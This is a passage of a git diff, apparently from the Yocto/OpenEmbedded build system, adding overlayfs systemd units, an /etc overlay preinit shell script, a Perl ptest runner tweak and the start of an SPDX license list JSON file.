+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=local-fs.target
diff --git a/meta/files/overlayfs-create-dirs.service.in b/meta/files/overlayfs-create-dirs.service.in
new file mode 100644
index 0000000000..61b2b9321b
--- /dev/null
+++ b/meta/files/overlayfs-create-dirs.service.in
@@ -0,0 +1,15 @@
+[Unit]
+Description=Overlayfs directories setup
+Requires={DATA_MOUNT_UNIT}
+After={DATA_MOUNT_UNIT}
+DefaultDependencies=no
+
+[Service]
+Type=oneshot
+ExecStart=mkdir -p {DATA_MOUNT_POINT}/upper{LOWERDIR}
+ExecStart=mkdir -p {DATA_MOUNT_POINT}/workdir{LOWERDIR}
+RemainAfterExit=true
+StandardOutput=journal
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/overlayfs-etc-preinit.sh.in b/meta/files/overlayfs-etc-preinit.sh.in
new file mode 100644
index 0000000000..43c9b04eb9
--- /dev/null
+++ b/meta/files/overlayfs-etc-preinit.sh.in
@@ -0,0 +1,37 @@
+#!/bin/sh
+
+echo "PREINIT: Start"
+
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+mount -o remount,rw /
+
+mkdir -p /proc
+mkdir -p /sys
+mkdir -p /run
+mkdir -p /var/run
+
+mount -t proc proc /proc
+mount -t sysfs sysfs /sys
+
+[ -z "$CONSOLE" ] && CONSOLE="/dev/console"
+
+mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}
+if mount -n -t {OVERLAYFS_ETC_FSTYPE} \
+ -o {OVERLAYFS_ETC_MOUNT_OPTIONS} \
+ {OVERLAYFS_ETC_DEVICE} {OVERLAYFS_ETC_MOUNT_POINT}
+then
+ mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper
+ mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/work
+ mount -n -t overlay \
+ -o upperdir={OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper \
+ -o lowerdir=/etc \
+ -o workdir={OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/work \
+ -o index=off,xino=off,redirect_dir=off,metacopy=off \
+ {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper /etc || \
+ echo "PREINIT: Mounting etc-overlay failed!"
+else
+ echo "PREINIT: Mounting </data> failed!"
+fi
+
+echo "PREINIT: done; starting </sbin/init>"
+exec {SBIN_INIT_NAME}
diff --git a/meta/files/overlayfs-unit.mount.in b/meta/files/overlayfs-unit.mount.in
new file mode 100644
index 0000000000..1d33b7e39c
--- /dev/null
+++ b/meta/files/overlayfs-unit.mount.in
@@ -0,0 +1,13 @@
+[Unit]
+Description=Overlayfs mount unit
+Requires={CREATE_DIRS_SERVICE}
+After={CREATE_DIRS_SERVICE}
+
+[Mount]
+What=overlay
+Where={LOWERDIR}
+Type=overlay
+Options=lowerdir={LOWERDIR},upperdir={DATA_MOUNT_POINT}/upper{LOWERDIR},workdir={DATA_MOUNT_POINT}/workdir{LOWERDIR}
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/ptest-perl/run-ptest b/meta/files/ptest-perl/run-ptest
index c9f9ca94d0..fd35357b42 100644
--- a/meta/files/ptest-perl/run-ptest
+++ b/meta/files/ptest-perl/run-ptest
@@ -1,7 +1,7 @@
#!/bin/sh
for case in `find t -type f -name '*.t'`; do
- perl $case >$case.output 2>&1
+ perl -I . $case >$case.output 2>&1
ret=$?
cat $case.output
if [ $ret -ne 0 ]; then
diff --git a/meta/files/spdx-licenses.json b/meta/files/spdx-licenses.json
new file mode 100644
index 0000000000..ef926164ec
--- /dev/null
+++ b/meta/files/spdx-licenses.json
@@ -0,0 +1,5937 @@
+{
+ "licenseListVersion": "3.14",
+ "licenses": [
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0.json",
+ "referenceNumber": 0,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.6.json",
+ "referenceNumber": 1,
+ "name": "bzip2 and libbzip2 License v1.0.6",
+ "licenseId": "bzip2-1.0.6",
+ "seeAlso": [
+ "https://sourceware.org/git/?p\u003dbzip2.git;a\u003dblob;f\u003dLICENSE;hb\u003dbzip2-1.0.6",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel-ACPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel-ACPI.json",
+ "referenceNumber": 2,
+ "name": "Intel ACPI Software License Agreement",
+ "licenseId": "Intel-ACPI",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Intel_ACPI_Software_License_Agreement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XSkat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XSkat.json",
+ "referenceNumber": 3,
+ "name": "XSkat License",
+ "licenseId": "XSkat",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/XSkat_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.json",
+ "referenceNumber": 4,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-NC-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Plexus.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Plexus.json",
+ "referenceNumber": 5,
+ "name": "Plexus Classworlds License",
+ "licenseId": "Plexus",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Plexus_Classworlds_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Giftware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Giftware.json",
+ "referenceNumber": 6,
+ "name": "Giftware License",
+ "licenseId": "Giftware",
+ "seeAlso": [
+ "http://liballeg.org/license.html#allegro-4-the-giftware-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.0.json",
+ "referenceNumber": 7,
+ "name": "BitTorrent Open Source License v1.0",
+ "licenseId": "BitTorrent-1.0",
+ "seeAlso": [
+ "http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/licenses/BitTorrent?r1\u003d1.1\u0026r2\u003d1.1.1.1\u0026diff_format\u003ds"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.1.json",
+ "referenceNumber": 8,
+ "name": "Apple Public Source License 1.1",
+ "licenseId": "APSL-1.1",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/IOSerialFamily/IOSerialFamily-7/APPLE_LICENSE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.json",
+ "referenceNumber": 9,
+ "name": "GNU General Public License v2.0 w/GCC Runtime Library exception",
+ "licenseId": "GPL-2.0-with-GCC-exception",
+ "seeAlso": [
+ "https://gcc.gnu.org/git/?p\u003dgcc.git;a\u003dblob;f\u003dgcc/libgcc1.c;h\u003d762f5143fc6eed57b6797c82710f3538aa52b40b;hb\u003dcb143a3ce4fb417c68f5fa2691a1b1b1053dfba9#l10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/UPL-1.0.json",
+ "referenceNumber": 10,
+ "name": "Universal Permissive License v1.0",
+ "licenseId": "UPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UPL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/wxWindows.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/wxWindows.json",
+ "referenceNumber": 11,
+ "name": "wxWindows Library License",
+ "licenseId": "wxWindows",
+ "seeAlso": [
+ "https://opensource.org/licenses/WXwindows"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Caldera.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Caldera.json",
+ "referenceNumber": 12,
+ "name": "Caldera License",
+ "licenseId": "Caldera",
+ "seeAlso": [
+ "http://www.lemis.com/grog/UNIX/ancient-source-all.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zend-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zend-2.0.json",
+ "referenceNumber": 13,
+ "name": "Zend License v2.0",
+ "licenseId": "Zend-2.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20130517195954/http://www.zend.com/license/2_00.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CUA-OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CUA-OPL-1.0.json",
+ "referenceNumber": 14,
+ "name": "CUA Office Public License v1.0",
+ "licenseId": "CUA-OPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CUA-OPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/JPNIC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JPNIC.json",
+ "referenceNumber": 15,
+ "name": "Japan Network Information Center License",
+ "licenseId": "JPNIC",
+ "seeAlso": [
+ "https://gitlab.isc.org/isc-projects/bind9/blob/master/COPYRIGHT#L366"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SAX-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SAX-PD.json",
+ "referenceNumber": 16,
+ "name": "Sax Public Domain Notice",
+ "licenseId": "SAX-PD",
+ "seeAlso": [
+ "http://www.saxproject.org/copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.5.json",
+ "referenceNumber": 17,
+ "name": "Creative Commons Attribution No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eGenix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/eGenix.json",
+ "referenceNumber": 18,
+ "name": "eGenix.com Public License 1.1.0",
+ "licenseId": "eGenix",
+ "seeAlso": [
+ "http://www.egenix.com/products/eGenix.com-Public-License-1.1.0.pdf",
+ "https://fedoraproject.org/wiki/Licensing/eGenix.com_Public_License_1.1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPLLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPLLR.json",
+ "referenceNumber": 19,
+ "name": "Lesser General Public License For Linguistic Resources",
+ "licenseId": "LGPLLR",
+ "seeAlso": [
+ "http://www-igm.univ-mlv.fr/~unitex/lgpllr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.2.json",
+ "referenceNumber": 20,
+ "name": "Open LDAP Public License 2.2.2",
+ "licenseId": "OLDAP-2.2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003ddf2cc1e21eb7c160695f5b7cffd6296c151ba188"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.json",
+ "referenceNumber": 21,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPA.json",
+ "referenceNumber": 22,
+ "name": "IPA Font License",
+ "licenseId": "IPA",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCSA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCSA.json",
+ "referenceNumber": 23,
+ "name": "University of Illinois/NCSA Open Source License",
+ "licenseId": "NCSA",
+ "seeAlso": [
+ "http://otm.illinois.edu/uiuc_openSource",
+ "https://opensource.org/licenses/NCSA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C.json",
+ "referenceNumber": 24,
+ "name": "W3C Software Notice and License (2002-12-31)",
+ "licenseId": "W3C",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231.html",
+ "https://opensource.org/licenses/W3C"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-2006.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-2006.json",
+ "referenceNumber": 25,
+ "name": "Adobe Systems Incorporated Source Code License Agreement",
+ "licenseId": "Adobe-2006",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobeLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Net-SNMP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Net-SNMP.json",
+ "referenceNumber": 26,
+ "name": "Net-SNMP License",
+ "licenseId": "Net-SNMP",
+ "seeAlso": [
+ "http://net-snmp.sourceforge.net/about/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-4.0.json",
+ "referenceNumber": 27,
+ "name": "Creative Commons Attribution Share Alike 4.0 International",
+ "licenseId": "CC-BY-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.0.json",
+ "referenceNumber": 28,
+ "name": "Yahoo! Public License v1.0",
+ "licenseId": "YPL-1.0",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nunit.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/Nunit.json",
+ "referenceNumber": 29,
+ "name": "Nunit License",
+ "licenseId": "Nunit",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Nunit"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MITNFA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MITNFA.json",
+ "referenceNumber": 30,
+ "name": "MIT +no-false-attribs license",
+ "licenseId": "MITNFA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MITNFA"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.01.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.01.json",
+ "referenceNumber": 31,
+ "name": "PHP License v3.01",
+ "licenseId": "PHP-3.01",
+ "seeAlso": [
+ "http://www.php.net/license/3_01.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Source-Code.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Source-Code.json",
+ "referenceNumber": 32,
+ "name": "BSD Source Code Attribution",
+ "licenseId": "BSD-Source-Code",
+ "seeAlso": [
+ "https://github.com/robbiehanson/CocoaHTTPServer/blob/master/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.5.json",
+ "referenceNumber": 33,
+ "name": "Creative Commons Attribution Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Motosoto.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Motosoto.json",
+ "referenceNumber": 34,
+ "name": "Motosoto License",
+ "licenseId": "Motosoto",
+ "seeAlso": [
+ "https://opensource.org/licenses/Motosoto"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-1.1.json",
+ "referenceNumber": 35,
+ "name": "Open Software License 1.1",
+ "licenseId": "OSL-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/OSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NGPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NGPL.json",
+ "referenceNumber": 36,
+ "name": "Nethack General Public License",
+ "licenseId": "NGPL",
+ "seeAlso": [
+ "https://opensource.org/licenses/NGPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5-AU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5-AU.json",
+ "referenceNumber": 37,
+ "name": "Creative Commons Attribution 2.5 Australia",
+ "licenseId": "CC-BY-2.5-AU",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/au/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-TOU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-TOU.json",
+ "referenceNumber": 38,
+ "name": "Unicode Terms of Use",
+ "licenseId": "Unicode-TOU",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.json",
+ "referenceNumber": 39,
+ "name": "BSD 3-Clause No Nuclear License",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License",
+ "seeAlso": [
+ "http://download.oracle.com/otn-pub/java/licenses/bsd.txt?AuthParam\u003d1467140197_43d516ce1776bd08a58235a7785be1cc"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPUBL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPUBL-1.0.json",
+ "referenceNumber": 40,
+ "name": "Open Publication License v1.0",
+ "licenseId": "OPUBL-1.0",
+ "seeAlso": [
+ "http://opencontent.org/openpub/",
+ "https://www.debian.org/opl",
+ "https://www.ctan.org/license/opl"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.json",
+ "referenceNumber": 41,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 England and Wales",
+ "licenseId": "CC-BY-NC-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-2.0.json",
+ "referenceNumber": 42,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 2.0",
+ "licenseId": "NLOD-2.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/gnuplot.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gnuplot.json",
+ "referenceNumber": 43,
+ "name": "gnuplot License",
+ "licenseId": "gnuplot",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Gnuplot"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPICS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPICS.json",
+ "referenceNumber": 44,
+ "name": "EPICS Open License",
+ "licenseId": "EPICS",
+ "seeAlso": [
+ "https://epics.anl.gov/license/open.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Info-ZIP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Info-ZIP.json",
+ "referenceNumber": 45,
+ "name": "Info-ZIP License",
+ "licenseId": "Info-ZIP",
+ "seeAlso": [
+ "http://www.info-zip.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.json",
+ "referenceNumber": 46,
+ "name": "Open LDAP Public License v2.0 (or possibly 2.0A and 2.0B)",
+ "licenseId": "OLDAP-2.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcbf50f4e1185a21abd4c0a54d3f4341fe28f36ea"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-P-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-P-2.0.json",
+ "referenceNumber": 47,
+ "name": "CERN Open Hardware Licence Version 2 - Permissive",
+ "licenseId": "CERN-OHL-P-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.json",
+ "referenceNumber": 48,
+ "name": "BSD 3-Clause No Nuclear Warranty",
+ "licenseId": "BSD-3-Clause-No-Nuclear-Warranty",
+ "seeAlso": [
+ "https://jogamp.org/git/?p\u003dgluegen.git;a\u003dblob_plain;f\u003dLICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AML.json",
+ "referenceNumber": 49,
+ "name": "Apple MIT License",
+ "licenseId": "AML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_MIT_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-1.0.json",
+ "referenceNumber": 50,
+ "name": "Mulan Permissive Software License, Version 1",
+ "licenseId": "MulanPSL-1.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL/",
+ "https://github.com/yuwenlong/longphp/blob/25dfb70cc2a466dc4bb55ba30901cbce08d164b5/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Multics.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Multics.json",
+ "referenceNumber": 51,
+ "name": "Multics License",
+ "licenseId": "Multics",
+ "seeAlso": [
+ "https://opensource.org/licenses/Multics"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VSL-1.0.json",
+ "referenceNumber": 52,
+ "name": "Vovida Software License v1.0",
+ "licenseId": "VSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/VSL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSA-MD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSA-MD.json",
+ "referenceNumber": 53,
+ "name": "RSA Message-Digest License",
+ "licenseId": "RSA-MD",
+ "seeAlso": [
+ "http://www.faqs.org/rfcs/rfc1321.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-PDDC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-PDDC.json",
+ "referenceNumber": 54,
+ "name": "Creative Commons Public Domain Dedication and Certification",
+ "licenseId": "CC-PDDC",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/publicdomain/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.json",
+ "referenceNumber": 55,
+ "name": "Creative Commons Attribution Share Alike 2.1 Japan",
+ "licenseId": "CC-BY-SA-2.1-JP",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.1/jp/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.2.json",
+ "referenceNumber": 56,
+ "name": "LaTeX Project Public License v1.2",
+ "licenseId": "LPPL-1.2",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-94.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-94.json",
+ "referenceNumber": 57,
+ "name": "Spencer License 94",
+ "licenseId": "Spencer-94",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.2.json",
+ "referenceNumber": 58,
+ "name": "Open LDAP Public License v1.2",
+ "licenseId": "OLDAP-1.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d42b0383c50c299977b5893ee695cf4e486fb0dc7"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/O-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
